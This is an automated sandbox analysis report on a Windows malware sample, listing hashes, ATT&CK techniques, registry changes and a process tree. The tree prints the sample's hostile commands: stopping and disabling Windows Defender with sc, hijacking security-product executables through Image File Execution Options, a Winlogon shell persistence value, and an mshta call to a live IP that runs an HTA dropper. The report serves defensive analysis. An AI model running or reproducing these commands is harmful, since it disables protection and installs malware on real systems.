c1dc466996191c195b0fb016f3ccdce5d4aab00d92ba3d35e39fa4a807898a49

Analysis

max time kernel
150s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
01-02-2024 11:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

86cb950715ad71b2402b2fe150628553.exe
Size

2.3MB
MD5

86cb950715ad71b2402b2fe150628553
SHA1

78d2ce589f3cf9d3f4ffcd324de66e8aa8121cd4
SHA256

c1dc466996191c195b0fb016f3ccdce5d4aab00d92ba3d35e39fa4a807898a49
SHA512

3ee77c8e63cac15384783f86d611058a6fe46f09b93403d8397fdb776ed26c8828530354cb5beb7e1a71e3b3a2728da49ebf77263e7a3a020b368cbeeb9fee98
SSDEEP

49152:BBIk5IEDI0ZnJUczjRO4Ye47YfW5I5GWMo/4aINponYf:BBIbSHUczjfBGeF/4aINpmYf

Score

10^/10

evasion persistence

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=QVMRJQQO&2=i-s&3=53&4=7601&5=6&6=1&7=99600&8=1033

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\xehvlu.exe"	xehvlu.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2840	mshta.exe
7	2840	mshta.exe

Sets file execution options in registry 2 TTPs 20 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	86cb950715ad71b2402b2fe150628553.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe"	86cb950715ad71b2402b2fe150628553.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	xehvlu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe"	xehvlu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	86cb950715ad71b2402b2fe150628553.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe"	86cb950715ad71b2402b2fe150628553.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	xehvlu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe	xehvlu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe"	xehvlu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	86cb950715ad71b2402b2fe150628553.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe	86cb950715ad71b2402b2fe150628553.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe"	86cb950715ad71b2402b2fe150628553.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe	86cb950715ad71b2402b2fe150628553.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe	xehvlu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe"	xehvlu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	86cb950715ad71b2402b2fe150628553.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	xehvlu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	xehvlu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe	xehvlu.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe	86cb950715ad71b2402b2fe150628553.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Deletes itself 1 IoCs

pid	Process
1488	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3004	xehvlu.exe

Loads dropped DLL 2 IoCs

pid	Process
2600	86cb950715ad71b2402b2fe150628553.exe
2600	86cb950715ad71b2402b2fe150628553.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2684	sc.exe
2560	sc.exe
736	sc.exe
620	sc.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3004	xehvlu.exe
Token: SeShutdownPrivilege	3004	xehvlu.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe
3004	xehvlu.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3004	xehvlu.exe
3004	xehvlu.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2600 wrote to memory of 2684	2600	86cb950715ad71b2402b2fe150628553.exe	28
PID 2600 wrote to memory of 2684	2600	86cb950715ad71b2402b2fe150628553.exe	28
PID 2600 wrote to memory of 2684	2600	86cb950715ad71b2402b2fe150628553.exe	28
PID 2600 wrote to memory of 2684	2600	86cb950715ad71b2402b2fe150628553.exe	28
PID 2600 wrote to memory of 2560	2600	86cb950715ad71b2402b2fe150628553.exe	29
PID 2600 wrote to memory of 2560	2600	86cb950715ad71b2402b2fe150628553.exe	29
PID 2600 wrote to memory of 2560	2600	86cb950715ad71b2402b2fe150628553.exe	29
PID 2600 wrote to memory of 2560	2600	86cb950715ad71b2402b2fe150628553.exe	29
PID 2600 wrote to memory of 3004	2600	86cb950715ad71b2402b2fe150628553.exe	32
PID 2600 wrote to memory of 3004	2600	86cb950715ad71b2402b2fe150628553.exe	32
PID 2600 wrote to memory of 3004	2600	86cb950715ad71b2402b2fe150628553.exe	32
PID 2600 wrote to memory of 3004	2600	86cb950715ad71b2402b2fe150628553.exe	32
PID 2600 wrote to memory of 1488	2600	86cb950715ad71b2402b2fe150628553.exe	33
PID 2600 wrote to memory of 1488	2600	86cb950715ad71b2402b2fe150628553.exe	33
PID 2600 wrote to memory of 1488	2600	86cb950715ad71b2402b2fe150628553.exe	33
PID 2600 wrote to memory of 1488	2600	86cb950715ad71b2402b2fe150628553.exe	33
PID 3004 wrote to memory of 736	3004	xehvlu.exe	35
PID 3004 wrote to memory of 736	3004	xehvlu.exe	35
PID 3004 wrote to memory of 736	3004	xehvlu.exe	35
PID 3004 wrote to memory of 736	3004	xehvlu.exe	35
PID 3004 wrote to memory of 620	3004	xehvlu.exe	36
PID 3004 wrote to memory of 620	3004	xehvlu.exe	36
PID 3004 wrote to memory of 620	3004	xehvlu.exe	36
PID 3004 wrote to memory of 620	3004	xehvlu.exe	36
PID 3004 wrote to memory of 2840	3004	xehvlu.exe	39
PID 3004 wrote to memory of 2840	3004	xehvlu.exe	39
PID 3004 wrote to memory of 2840	3004	xehvlu.exe	39
PID 3004 wrote to memory of 2840	3004	xehvlu.exe	39

C:\Users\Admin\AppData\Local\Temp\86cb950715ad71b2402b2fe150628553.exe
"C:\Users\Admin\AppData\Local\Temp\86cb950715ad71b2402b2fe150628553.exe"
1⤵
- Sets file execution options in registry
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2600
- C:\Windows\SysWOW64\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2684
- C:\Windows\SysWOW64\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2560
- C:\Users\Admin\AppData\Roaming\xehvlu.exe
  C:\Users\Admin\AppData\Roaming\xehvlu.exe
  2⤵
  - Modifies WinLogon for persistence
  - Sets file execution options in registry
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:736
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:620
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=QVMRJQQO&2=i-s&3=53&4=7601&5=6&6=1&7=99600&8=1033"
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    PID:2840
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\86CB95~1.EXE" >> NUL
  2⤵
  - Deletes itself
  PID:1488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

\Users\Admin\AppData\Roaming\xehvlu.exe

Filesize
2.3MB

MD5
86cb950715ad71b2402b2fe150628553

SHA1
78d2ce589f3cf9d3f4ffcd324de66e8aa8121cd4

SHA256
c1dc466996191c195b0fb016f3ccdce5d4aab00d92ba3d35e39fa4a807898a49

SHA512
3ee77c8e63cac15384783f86d611058a6fe46f09b93403d8397fdb776ed26c8828530354cb5beb7e1a71e3b3a2728da49ebf77263e7a3a020b368cbeeb9fee98

Download Submit
memory/2600-0-0x0000000000400000-0x0000000000886000-memory.dmp

Filesize
4.5MB

Download
memory/2600-1-0x00000000008F0000-0x000000000094A000-memory.dmp

Filesize
360KB

Download
memory/2600-2-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

Download
memory/2600-3-0x0000000000250000-0x0000000000251000-memory.dmp

Filesize
4KB

Download
memory/2600-4-0x0000000000310000-0x0000000000311000-memory.dmp

Filesize
4KB

Download
memory/2600-5-0x0000000000360000-0x0000000000361000-memory.dmp

Filesize
4KB

Download
memory/2600-6-0x0000000000350000-0x0000000000351000-memory.dmp

Filesize
4KB

Download
memory/2600-7-0x0000000000370000-0x0000000000371000-memory.dmp

Filesize
4KB

Download
memory/2600-8-0x0000000000320000-0x0000000000321000-memory.dmp

Filesize
4KB

Download
memory/2600-10-0x00000000003D0000-0x00000000003D1000-memory.dmp

Filesize
4KB

Download
memory/2600-16-0x0000000000A80000-0x0000000000A81000-memory.dmp

Filesize
4KB

Download
memory/2600-20-0x00000000034B0000-0x00000000034B1000-memory.dmp

Filesize
4KB

Download
memory/2600-22-0x00000000008C0000-0x00000000008C1000-memory.dmp

Filesize
4KB

Download
memory/2600-23-0x00000000034F0000-0x00000000034F1000-memory.dmp

Filesize
4KB

Download
memory/2600-21-0x0000000000AC0000-0x0000000000AC1000-memory.dmp

Filesize
4KB

Download
memory/2600-19-0x0000000000AE0000-0x0000000000AE1000-memory.dmp

Filesize
4KB

Download
memory/2600-46-0x0000000003700000-0x0000000003701000-memory.dmp

Filesize
4KB

Download
memory/2600-62-0x0000000003820000-0x0000000003821000-memory.dmp

Filesize
4KB

Download
memory/2600-61-0x0000000003800000-0x0000000003801000-memory.dmp

Filesize
4KB

Download
memory/2600-60-0x0000000003810000-0x0000000003811000-memory.dmp

Filesize
4KB

Download
memory/2600-59-0x00000000037E0000-0x00000000037E1000-memory.dmp

Filesize
4KB

Download
memory/2600-58-0x00000000037F0000-0x00000000037F1000-memory.dmp

Filesize
4KB

Download
memory/2600-57-0x00000000037C0000-0x00000000037C1000-memory.dmp

Filesize
4KB

Download
memory/2600-56-0x00000000037D0000-0x00000000037D1000-memory.dmp

Filesize
4KB

Download
memory/2600-55-0x00000000037A0000-0x00000000037A1000-memory.dmp

Filesize
4KB

Download
memory/2600-54-0x00000000037B0000-0x00000000037B1000-memory.dmp

Filesize
4KB

Download
memory/2600-53-0x0000000003780000-0x0000000003781000-memory.dmp

Filesize
4KB

Download
memory/2600-52-0x0000000003790000-0x0000000003791000-memory.dmp

Filesize
4KB

Download
memory/2600-51-0x0000000003760000-0x0000000003761000-memory.dmp

Filesize
4KB

Download
memory/2600-50-0x0000000003740000-0x0000000003741000-memory.dmp

Filesize
4KB

Download
memory/2600-49-0x0000000003750000-0x0000000003751000-memory.dmp

Filesize
4KB

Download
memory/2600-48-0x0000000003720000-0x0000000003721000-memory.dmp

Filesize
4KB

Download
memory/2600-47-0x0000000003730000-0x0000000003731000-memory.dmp

Filesize
4KB

Download
memory/2600-45-0x0000000003710000-0x0000000003711000-memory.dmp

Filesize
4KB

Download
memory/2600-44-0x00000000036E0000-0x00000000036E1000-memory.dmp

Filesize
4KB

Download
memory/2600-43-0x00000000036F0000-0x00000000036F1000-memory.dmp

Filesize
4KB

Download
memory/2600-42-0x00000000036C0000-0x00000000036C1000-memory.dmp

Filesize
4KB

Download
memory/2600-41-0x00000000036D0000-0x00000000036D1000-memory.dmp

Filesize
4KB

Download
memory/2600-40-0x0000000003560000-0x0000000003561000-memory.dmp

Filesize
4KB

Download
memory/2600-39-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2600-38-0x0000000003540000-0x0000000003541000-memory.dmp

Filesize
4KB

Download
memory/2600-37-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/2600-36-0x0000000003520000-0x0000000003521000-memory.dmp

Filesize
4KB

Download
memory/2600-35-0x0000000003530000-0x0000000003531000-memory.dmp

Filesize
4KB

Download
memory/2600-34-0x00000000028D0000-0x00000000028D1000-memory.dmp

Filesize
4KB

Download
memory/2600-33-0x0000000003510000-0x0000000003511000-memory.dmp

Filesize
4KB

Download
memory/2600-32-0x0000000000B20000-0x0000000000B21000-memory.dmp

Filesize
4KB

Download
memory/2600-31-0x0000000002430000-0x0000000002431000-memory.dmp

Filesize
4KB

Download
memory/2600-30-0x0000000000A60000-0x0000000000A61000-memory.dmp

Filesize
4KB

Download
memory/2600-29-0x00000000034C0000-0x00000000034C1000-memory.dmp

Filesize
4KB

Download
memory/2600-28-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/2600-27-0x0000000000220000-0x0000000000221000-memory.dmp

Filesize
4KB

Download
memory/2600-26-0x0000000003500000-0x0000000003501000-memory.dmp

Filesize
4KB

Download
memory/2600-25-0x0000000000380000-0x0000000000381000-memory.dmp

Filesize
4KB

Download
memory/2600-24-0x0000000003490000-0x0000000003493000-memory.dmp

Filesize
12KB

Download
memory/2600-18-0x0000000000AB0000-0x0000000000AB1000-memory.dmp

Filesize
4KB

Download
memory/2600-17-0x0000000000A70000-0x0000000000A71000-memory.dmp

Filesize
4KB

Download
memory/2600-15-0x0000000000A90000-0x0000000000A91000-memory.dmp

Filesize
4KB

Download
memory/2600-14-0x00000000034A0000-0x00000000034A2000-memory.dmp

Filesize
8KB

Download
memory/2600-13-0x0000000000A50000-0x0000000000A51000-memory.dmp

Filesize
4KB

Download
memory/2600-12-0x00000000008A0000-0x00000000008A1000-memory.dmp

Filesize
4KB

Download
memory/2600-11-0x00000000008D0000-0x00000000008D1000-memory.dmp

Filesize
4KB

Download
memory/2600-9-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download
memory/2600-63-0x00000000002F0000-0x00000000002F1000-memory.dmp

Filesize
4KB

Download
memory/2600-93-0x0000000000400000-0x0000000000886000-memory.dmp

Filesize
4.5MB

Download